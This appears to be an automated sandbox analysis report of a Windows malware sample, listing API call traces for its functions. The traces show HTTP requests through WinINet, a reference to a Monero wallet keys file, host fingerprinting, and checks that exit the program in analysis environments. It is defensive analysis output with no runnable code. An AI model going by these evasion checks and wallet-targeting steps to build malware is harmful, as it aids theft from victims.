GetProcAddress.KERNEL32(753A0000,00CB6A40), ref: 0017A22C
GetProcAddress.KERNEL32(753A0000,00CB69C0), ref: 0017A244
GetProcAddress.KERNEL32(753A0000,00CCDDD8), ref: 0017A25D
GetProcAddress.KERNEL32(753A0000,00CCDE20), ref: 0017A275
GetProcAddress.KERNEL32(753A0000,00CB6700), ref: 0017A28D
GetProcAddress.KERNEL32(76310000,00CBA870), ref: 0017A2B3
GetProcAddress.KERNEL32(76310000,00CBA438), ref: 0017A2CB
GetProcAddress.KERNEL32(76310000,00CCDE38), ref: 0017A2E3
GetProcAddress.KERNEL32(76310000,00CB6920), ref: 0017A2FC
GetProcAddress.KERNEL32(76310000,00CB6860), ref: 0017A314
GetProcAddress.KERNEL32(76310000,00CBA618), ref: 0017A32C
GetProcAddress.KERNEL32(76910000,00CCDEF8), ref: 0017A352
GetProcAddress.KERNEL32(76910000,00CB6740), ref: 0017A36A
GetProcAddress.KERNEL32(76910000,00CC93D8), ref: 0017A382
GetProcAddress.KERNEL32(76910000,00CCDE50), ref: 0017A39B
GetProcAddress.KERNEL32(76910000,00CCDF10), ref: 0017A3B3
GetProcAddress.KERNEL32(76910000,00CB6760), ref: 0017A3CB
GetProcAddress.KERNEL32(76910000,00CB6720), ref: 0017A3E4
GetProcAddress.KERNEL32(76910000,00CCDE08), ref: 0017A3FC
GetProcAddress.KERNEL32(76910000,00CCDE68), ref: 0017A414
GetProcAddress.KERNEL32(75B30000,00CB67C0), ref: 0017A436
GetProcAddress.KERNEL32(75B30000,00CCDE98), ref: 0017A44E
GetProcAddress.KERNEL32(75B30000,00CCDF28), ref: 0017A466
GetProcAddress.KERNEL32(75B30000,00CCDF40), ref: 0017A47F
GetProcAddress.KERNEL32(75B30000,00CCDDA8), ref: 0017A497
GetProcAddress.KERNEL32(75670000,00CB68A0), ref: 0017A4B8
GetProcAddress.KERNEL32(75670000,00CB6A60), ref: 0017A4D1
GetProcAddress.KERNEL32(76AC0000,00CB69A0), ref: 0017A4F2
GetProcAddress.KERNEL32(76AC0000,00CCDDC0), ref: 0017A50A
GetProcAddress.KERNEL32(6F4E0000,00CB67E0), ref: 0017A530
GetProcAddress.KERNEL32(6F4E0000,00CB68C0), ref: 0017A548
GetProcAddress.KERNEL32(6F4E0000,00CB68E0), ref: 0017A560
GetProcAddress.KERNEL32(6F4E0000,00CCD898), ref: 0017A579
GetProcAddress.KERNEL32(6F4E0000,00CB6900), ref: 0017A591
GetProcAddress.KERNEL32(6F4E0000,00CB6940), ref: 0017A5A9
GetProcAddress.KERNEL32(6F4E0000,00CB6780), ref: 0017A5C2
GetProcAddress.KERNEL32(6F4E0000,00CB6800), ref: 0017A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0017A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0017A607
GetProcAddress.KERNEL32(75AE0000,00CCD958), ref: 0017A629
GetProcAddress.KERNEL32(75AE0000,00CC9448), ref: 0017A641
GetProcAddress.KERNEL32(75AE0000,00CCD7A8), ref: 0017A659
GetProcAddress.KERNEL32(75AE0000,00CCD790), ref: 0017A672
GetProcAddress.KERNEL32(76300000,00CB6960), ref: 0017A693
GetProcAddress.KERNEL32(6FE40000,00CCD8E0), ref: 0017A6B4
GetProcAddress.KERNEL32(6FE40000,00CB6820), ref: 0017A6CD
GetProcAddress.KERNEL32(6FE40000,00CCD880), ref: 0017A6E5
GetProcAddress.KERNEL32(6FE40000,00CCD8B0), ref: 0017A6FD

Strings

InternetSetOptionA, xrefs: 0017A5E5
HttpQueryInfoA, xrefs: 0017A5FC

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 05a552ea490c5d82e0f4ff537123782e813de8a809e9f9d011df9cff5dd133b7
Instruction ID: 14c85a42115091d7d2d318f67ef6c37cd0313e821f97b4e88a569e4035e704a9
Opcode Fuzzy Hash: 05a552ea490c5d82e0f4ff537123782e813de8a809e9f9d011df9cff5dd133b7
Instruction Fuzzy Hash: AF622CB7500A10AFC397DFA8ED889663BFDF78E701F14851AA609C3264D73A9841DF52

Function 00166280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00164839
Part of subcall function 001647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00164849

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

InternetOpenA.WININET(00180DFE,00000001,00000000,00000000,00000000), ref: 001662E1
StrCmpCA.SHLWAPI(?,00CCFC38), ref: 00166303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00166335
HttpOpenRequestA.WININET(00000000,GET,?,00CCF4B8,00000000,00000000,00400100,00000000), ref: 00166385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001663BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001663D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001663FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0016646D
InternetCloseHandle.WININET(00000000), ref: 001664EF
InternetCloseHandle.WININET(00000000), ref: 001664F9
InternetCloseHandle.WININET(00000000), ref: 00166503

Strings

ERROR, xrefs: 00166407
GET, xrefs: 0016637C
ERROR, xrefs: 001664C9

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 7c4df78e74bd8cd61c839a6354fcb258892633241165863b8517c9719a7a17d0
Instruction ID: 048512d769259c9f3c3f76561c126f34d4fd8cce07da502b4eaf48f5a647b279
Opcode Fuzzy Hash: 7c4df78e74bd8cd61c839a6354fcb258892633241165863b8517c9719a7a17d0
Instruction Fuzzy Hash: 64714D71A00218ABDB24EFA0DC59FEE77B8FF44701F508198F50A6B190DBB56A85CF52

Function 00175510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017A820: lstrlen.KERNEL32(00164F05,?,?,00164F05,00180DDE), ref: 0017A82B
Part of subcall function 0017A820: lstrcpy.KERNEL32(00180DDE,00000000), ref: 0017A885

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00175644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001756A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00175857

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001751F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00175228

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 001752C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00175318
Part of subcall function 001752C0: lstrlen.KERNEL32(00000000), ref: 0017532F
Part of subcall function 001752C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00175364
Part of subcall function 001752C0: lstrlen.KERNEL32(00000000), ref: 00175383
Part of subcall function 001752C0: lstrlen.KERNEL32(00000000), ref: 001753AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0017578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00175940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00175A0C
Sleep.KERNEL32(0000EA60), ref: 00175A1B

Strings

ERROR, xrefs: 001759FE
ERROR, xrefs: 00175932
ERROR, xrefs: 0017577D
ERROR, xrefs: 00175849
ERROR, xrefs: 00175636
ERROR, xrefs: 00175693

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: a24353f329dfa94c8a70d02de519ff97d97518ef757989ff38eef055517433e8
Instruction ID: b926323940339baa0337ceb54897c394d3f5d07e0a2f75a5725a88a30a952074
Opcode Fuzzy Hash: a24353f329dfa94c8a70d02de519ff97d97518ef757989ff38eef055517433e8
Instruction Fuzzy Hash: 9BE14272910508ABCB19FBB0DC56AEE737DAFA5301F90C528B41A57091EF746B09CB93

Function 001717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 001717C5
ExitProcess.KERNEL32 ref: 001717D1

Strings

block, xrefs: 001717B7

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: fb264f17b35e7d126fd262c2e210cc5655307524dafcf55c559178be26d62641
Instruction ID: 962dd092440af0df72329af0dbc5fb9d41f97488502670607f136c0e965e75ae
Opcode Fuzzy Hash: fb264f17b35e7d126fd262c2e210cc5655307524dafcf55c559178be26d62641
Instruction Fuzzy Hash: B3514FB5A08209FFCB05DFE4D954ABE77B9BF84704F10C048E90AA7240D775EA56CB62

Function 00177500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00177542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0017757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00177603
RtlAllocateHeap.NTDLL(00000000), ref: 0017760A
wsprintfA.USER32 ref: 00177640

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Strings

C, xrefs: 0017754C
\, xrefs: 00177560
:, xrefs: 0017755C

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 58ec54d93e30cd6047dcdf6c9e1195a6d661935bae6a9863dcbbac509b9c071b
Instruction ID: 880ed3d53accdbfffdbfa5f4ea5996ca86636ea2f83495e2788498f1f93cc92a
Opcode Fuzzy Hash: 58ec54d93e30cd6047dcdf6c9e1195a6d661935bae6a9863dcbbac509b9c071b
Instruction Fuzzy Hash: 3F41B3B1D04248ABDB11DF94DC45BEEBBB8EF18700F104198F509A7280D7796A44CFA5

Function 001769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC1738), ref: 001798A1
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC1528), ref: 001798BA
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC15A0), ref: 001798D2
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC15D0), ref: 001798EA
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC1540), ref: 00179903
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC9478), ref: 0017991B
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CB64A0), ref: 00179933
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CB62E0), ref: 0017994C
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC1648), ref: 00179964
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC1588), ref: 0017997C
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC1600), ref: 00179995
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC1750), ref: 001799AD
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CB6320), ref: 001799C5
Part of subcall function 00179860: GetProcAddress.KERNEL32(76210000,00CC17B0), ref: 001799DE

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 001611D0: ExitProcess.KERNEL32 ref: 00161211

Part of subcall function 00161160: GetSystemInfo.KERNEL32(?), ref: 0016116A
Part of subcall function 00161160: ExitProcess.KERNEL32 ref: 0016117E

Part of subcall function 00161110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0016112B
Part of subcall function 00161110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00161132
Part of subcall function 00161110: ExitProcess.KERNEL32 ref: 00161143

Part of subcall function 00161220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0016123E
Part of subcall function 00161220: __aulldiv.LIBCMT ref: 00161258
Part of subcall function 00161220: __aulldiv.LIBCMT ref: 00161266
Part of subcall function 00161220: ExitProcess.KERNEL32 ref: 00161294

Part of subcall function 00176770: GetUserDefaultLangID.KERNEL32 ref: 00176774

Part of subcall function 00161190: ExitProcess.KERNEL32 ref: 001611C6

Part of subcall function 00177850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001611B7), ref: 00177880
Part of subcall function 00177850: RtlAllocateHeap.NTDLL(00000000), ref: 00177887
Part of subcall function 00177850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0017789F

Part of subcall function 001778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00177910
Part of subcall function 001778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00177917
Part of subcall function 001778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0017792F

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00CC9408,?,0018110C,?,00000000,?,00181110,?,00000000,00180AEF), ref: 00176ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00176AE8
CloseHandle.KERNEL32(00000000), ref: 00176AF9
Sleep.KERNEL32(00001770), ref: 00176B04
CloseHandle.KERNEL32(?,00000000,?,00CC9408,?,0018110C,?,00000000,?,00181110,?,00000000,00180AEF), ref: 00176B1A
ExitProcess.KERNEL32 ref: 00176B22

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 1876b7bf37c464d366212fa25cb427763e4df33d777cac4ae4b88ee802c7dffe
Instruction ID: 6abe883b5b858272df09eb4bfe63d20f5be6b85df77ce28b694fccc3295dba85
Opcode Fuzzy Hash: 1876b7bf37c464d366212fa25cb427763e4df33d777cac4ae4b88ee802c7dffe
Instruction Fuzzy Hash: E7311C71940208ABDB05FBF0DC56BEE7778AF65341F908518F21AA2192DF706A05CBA2

Function 00161220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0016123E
__aulldiv.LIBCMT ref: 00161258
__aulldiv.LIBCMT ref: 00161266
ExitProcess.KERNEL32 ref: 00161294

Strings

@, xrefs: 00161233

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: b15068c960ab1ad95646360ec6b8bb3d5fc42370d9cbb93621e1ee41a7c1d1e1
Instruction ID: f47c049c70f9bf0a772698abdb9e8d43fc88378cfb838b1df6262d112d225735
Opcode Fuzzy Hash: b15068c960ab1ad95646360ec6b8bb3d5fc42370d9cbb93621e1ee41a7c1d1e1
Instruction Fuzzy Hash: 56016DB0D40308BAEB10DBE0DC59BAEBB78BF14705F248458F705B62C0D77455458799

Function 00176AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00CC9408,?,0018110C,?,00000000,?,00181110,?,00000000,00180AEF), ref: 00176ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00176AE8
CloseHandle.KERNEL32(00000000), ref: 00176AF9
Sleep.KERNEL32(00001770), ref: 00176B04
CloseHandle.KERNEL32(?,00000000,?,00CC9408,?,0018110C,?,00000000,?,00181110,?,00000000,00180AEF), ref: 00176B1A
ExitProcess.KERNEL32 ref: 00176B22

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
